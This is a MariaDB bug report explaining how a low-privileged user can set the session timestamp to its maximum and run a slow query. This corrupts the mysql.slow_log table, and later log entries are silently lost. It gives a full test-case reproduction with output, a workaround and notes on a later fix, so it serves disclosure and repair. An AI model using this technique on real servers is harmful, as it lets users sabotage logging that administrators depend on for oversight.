Details
Description
Unlike general_log table which stores the global time as event_time, slow_log table uses a session timestamp as start_time.
On top of it, as described in MDEV-11628, instead of actual query start time it in fact writes the query end time in the field.
Combining these two oddities, an unpleasant result can be achieved:
truncate mysql.slow_log; |
set @log_output.save= @@log_output; |
set global log_output= 'TABLE'; |
create user u@localhost; |
set slow_query_log=on, long_query_time=0.1; |
select 'before evil-doing', sleep(0.2); |
|
--connect (con1,localhost,u,,)
|
set @@timestamp= 2147483647; |
set slow_query_log=on, long_query_time=0.1; |
select 'evil-doing', sleep(1.1); |
--disconnect con1
|
|
--connection default
|
|
select 'after evil-doing', sleep(0.2); |
check table mysql.slow_log extended; |
|
--error 0,ER_CRASHED_ON_USAGE
|
select start_time, user_host, sql_text from mysql.slow_log; |
|
repair table mysql.slow_log extended; |
select start_time, user_host, sql_text from mysql.slow_log; |
The test above represents a server running with slow logging written into the system table.
Since by default timestamp is settable without restrictions, any user can set it to the maximum 2147483647 and run a query which would be written into the table.
Since instead of real start time the end time is written into the log, it silently overflows.
When after that anyone runs another query to be written into the slow log, no visible problem occurs:
10.4 87a5d16911bb94d383480fdd49e20876ed1400f2 |
connection default; |
select 'after evil-doing', sleep(0.2); |
after evil-doing sleep(0.2) |
after evil-doing 0 |
and a CHECK on the slow log table also doesn't show anything:
check table mysql.slow_log extended; |
Table Op Msg_type Msg_text |
mysql.slow_log check status OK |
However, an attempt to read from the table returns an error (it is masked in the test case):
query 'select start_time, user_host, sql_text from mysql.slow_log' failed: 1194: Table 'slow_log' is marked as crashed and should be repaired |
Repair fixes the table at the expense of removing the guilty record, but everything that was [supposed to be] written after it is also lost:
repair table mysql.slow_log extended; |
Table Op Msg_type Msg_text |
mysql.slow_log repair Warning Out of range value for column 'start_time' at row 2 |
mysql.slow_log repair status OK
|
select start_time, user_host, sql_text from mysql.slow_log; |
start_time user_host sql_text
|
2024-01-17 21:02:29.092267 root[root] @ localhost [] select 'before evil-doing', sleep(0.2) |
So, the low-privileged user effectively stops the whole server from writing into the slow log table, invisibly for anyone until somebody tries to query the table.
One possible workaround is restricting TIMESTAMP permissions by setting secure_timestamp=SUPER.
Maybe there are more.
MDEV-32188 (32-bit timestamp) targeted for 11.4 seems to fix the issue, at least for 64-bit builds – no corruption is observed after setting timestamp to 4294967295 in the otherwise same scenario. start_time for the guilty query still overflows, but seemingly innocently, and doesn't affect other records:
bb-11.4-timestamp 6a706d142be3309de89c28bcb48e91a72e8e8f69 |
2024-01-17 21:10:10.403425 root[root] @ localhost [] select 'before evil-doing', sleep(0.2) |
1970-01-01 02:00:00.100409 u[u] @ localhost [] select 'evil-doing', sleep(1.1) |
2024-01-17 21:10:11.707791 root[root] @ localhost [] select 'after evil-doing', sleep(0.2) |
Attachments
Issue Links
- relates to
-
MDEV-11628 mysql.slow_log reports incorrect start time
- Closed